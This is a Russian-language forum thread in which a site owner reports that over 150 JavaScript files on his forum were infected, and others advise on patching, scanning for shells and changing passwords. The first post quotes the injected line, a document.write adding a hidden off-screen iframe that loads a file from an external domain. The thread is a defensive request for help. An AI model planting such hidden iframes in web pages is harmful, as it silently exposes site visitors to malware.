Jump to content
Дизайн и модификация IPS Community IPBSkinsBETA
Search In
  • More options...
Find results that contain...
Find results in...
Sign in to follow this  
catalo

Взломали! Вирус на форуме :(

Recommended Posts

Мой форум: nissanmaximaclub.ru

 

Заметил на форуме фреймы, содержащие посторонние сайты. Полез копать, и что я вижу!

В большинстве файлов .js в самом конце последняя строка:

 

;document.write('<iframe width="55" height="55" style="width:100px;height:100px;position:absolute;left:-100px;top:0;" src="http://emxfji.pcanywhere.net/b9c21ce4cc46f581781cf2756477b167.sys?11"></iframe>');

 

Заражено более 150 файлов, причем во фрейме всречаются разные адреса.

 

Подскажите как убить заразу! Удаляю строку, она снова появляется(

Share this post


Link to post
Share on other sites

http://ipbskins.ru/forum/topic10798.html

 

1. Пропатчить форум

2. Почистить от вирусов и шеллов

3. Сменить пароли (админ акк на форуме, бд, можно фтп). Этот пункт следует проделать после тщательной проверки п.2

Share this post


Link to post
Share on other sites

Все вроде бы понятно, но второй пункт как выполнить?

Share this post


Link to post
Share on other sites

Все вроде бы понятно, но второй пункт как выполнить?

Можно так google.com/webmasters/tools/

Share this post


Link to post
Share on other sites

яндекс вебмастер не находит заражений, моюсь в гугле также будет

Share this post


Link to post
Share on other sites

А вы не бойтесь, там ничего страшного нету, просто попробуйте - всё покажет.

  • Upvote 1

Share this post


Link to post
Share on other sites

Все вроде бы понятно, но второй пункт как выполнить?

Можно так google.ru - поиск шеллов и вирусов на сайте

Есть еще такой скрипт revisium.com/ai/, но он в любом случае требует навыков программирования

Или обратится к специалистам

Share this post


Link to post
Share on other sites

Можно поинтересоваться, удалось ли решить проблему? И если да - то как?

Share this post


Link to post
Share on other sites

вычистил все файлы от вирусного кода, и еще удалил скрипты редактора TinyMCE, кажись его скрипты заражали остальные файлы

Share this post


Link to post
Share on other sites

в общем IE 9.0 выдает какие-то ошибки. видимо что-то еще накрылось. помогите платно решить проблемы!

Share this post


Link to post
Share on other sites

Наверняка вам дешевле будет один раз заплатить техподдержке 70 долларов за полгода и решить все ваши проблемы, чем обращаться к малознакомым людям, далеким от профессионализма в программировании IPB, которые могут добавить кучу своих дыр, преднамеренно или непреднамеренно - из-за незнания.

Edited by Zero108
  • Upvote 2

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...